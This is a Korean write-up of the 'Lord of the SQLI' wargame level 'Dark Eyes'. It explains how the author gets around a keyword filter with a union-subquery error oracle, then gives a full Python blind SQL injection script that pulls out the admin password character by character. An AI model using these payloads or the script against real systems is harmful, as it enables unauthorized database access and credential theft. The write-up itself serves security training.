LOS(The Lord of the SQLI) 22 - DARK EYES

2021. 2. 23. 19:21정보보안/웹 해킹

22번 문제 Dark Eyes

 

22번 문제인 Dark Eyes이다.

 

이 문제도 21번 문제처럼 문제 해결을 위한 if 조건식인

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");를 보아

Blind SQL Injection이라는것을 알 수 있고

 

preg_match 함수의 필터링을 통해

col, if, case, when, sleep, benchmark를 필터링하고 있으며,

sleep 함수와 benchmark 함수를 이용하지 못하므로 Time Based Blind SQL Injection은 아니라는 점과

21번 문제를 위해 이용했던 if 함수 이외에 col, case, when 등을 이용하지 못하므로 이를 우회하여야 한다고 생각했다.

 

 

먼저 pw 파라미터에 '(싱글쿼터)를 입력 해보았다.

 

'(싱글쿼터) 입력 결과

 

하지만 21번 문제와 달리 에러를 출력하지 않으며 빈 화면만 출력된다.

 

 

내가 이 문제를 해결하기 위해 사용한 방법은 

21번 문제와 비슷하게 Union SQL Injection을 이용했다.

 

 

select 1 union select 1=1 VS select 1 union select 1=2

 

위 그림을 보면 select 1 union select 1=1 의 결과 

1=1는 참(1)이기 때문에 행이 한줄이다.

하지만 select 1 union select 1=2 의 결과

1=2는 거짓(0)이기 때문에 행이 1과 2로 두줄이다.

 

이 점을 이용하여 문제를 해결할 수 있는데

21번 문제에서는 행이 1개를 넘어가면 에러가 발생하였고

22번 문제 또한 select 1union select 1=2를 입력 시 다음과 같이 에러가 발생하는것을 확인할 수 있었다.

 

 

 

select 1 union select 1=1 의 경우 에러가 발생하지 않음

 

 

 

select 1 union select 1=2 의 경우 에러가 발생하여 하얀 화면만 출력

 

그렇다면 이를 이용해

1=2 자리에 조건식을 넣어 Blind SQL Injection을 수행하면 된다.

 

스크립트는 다음과 같다.

 

import requests

URL = 'https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php' # 자신의 los 4번 문제의 url 주소 수동 입력
cookies ={'PHPSESSID': 'ektpna6g9109vi8fm4bk2mtues'} # 자신의 los 세션값 수동 입력

ascii_range = []
for i in range(48,58):
    ascii_range.append(i)

for i in range(97,123):
    ascii_range.append(i)


# 패스워드의 길이를 찾는 함수
def find_len():
    pw_len = 0
    while True:
        pw_len += 1
        # url? 뒤에 추가될 값이 value
        value = "' or id='admin' and (select 1 union select length(pw)={})#".format(pw_len)
        parms={'pw' : value}
        response = requests.get(URL, params=parms, cookies=cookies) # URL과 파라미터, 쿠키를 설정한 후 request를 보낸 뒤 돌아오는 response(응답값)를 저장
        if "dark_eyes" in response.text: # 받아온 응답값 텍스트 중 'dark_eyes'이 존재한다면 패스워드 길이 반환
            print("길이는", pw_len, "입니다.")
            break
        print("Trying")

    return pw_len

def find_pw():
    pw_len = find_len()
    flag=''
    for pw_value in range(1,pw_len+1):
        for ascii in ascii_range: # 아스키 코드값 48 ~ 122 -> 숫자, 알파벳, 특수문자 몇몇
            value = "' or id = 'admin' and (select 1 union select ascii(substr(pw,{},1))={})#".format(pw_value,ascii)
            parmas = {'pw' :value }
            response = requests.get(URL, params=parmas, cookies=cookies)
            if "dark_eyes" in response.text:
                print("pw의",pw_value,"번째는",chr(ascii), '입니다.')
                flag += chr(ascii)
    print("pw는", flag, "입니다.")

find_pw()

 

 

 

 

 

 

 

 

 

 

 

21번 문제 DARK EYES Clear!